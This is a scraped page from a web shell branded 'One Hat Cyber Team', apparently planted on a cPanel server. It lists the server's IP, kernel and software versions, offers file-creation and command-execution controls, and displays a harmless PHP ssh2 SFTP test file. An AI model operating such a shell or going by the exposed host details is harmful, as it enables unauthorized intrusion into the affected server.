⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
local
/
src
/
ssh2-1.4.1
/
tests
/
View File Name :
ssh2_sftp_002.phpt
--TEST-- ssh2_sftp - SFTP tests --SKIPIF-- <?php require('ssh2_skip.inc'); ssh2t_needs_auth(); ssh2t_writes_remote(); --FILE-- <?php require('ssh2_test.inc'); $ssh = ssh2_connect(TEST_SSH2_HOSTNAME, TEST_SSH2_PORT); ssh2t_auth($ssh); $sftp = ssh2_sftp($ssh); $filename = ssh2t_tempnam(); $fp = fopen("ssh2.sftp://$sftp/$filename", 'w'); fwrite($fp, "Hello World\n"); fwrite($fp, "Goodbye Planet\n"); fclose($fp); readfile("ssh2.sftp://$sftp/$filename"); var_dump(ssh2_sftp_unlink($sftp, $filename)); --EXPECT-- Hello World Goodbye Planet bool(true)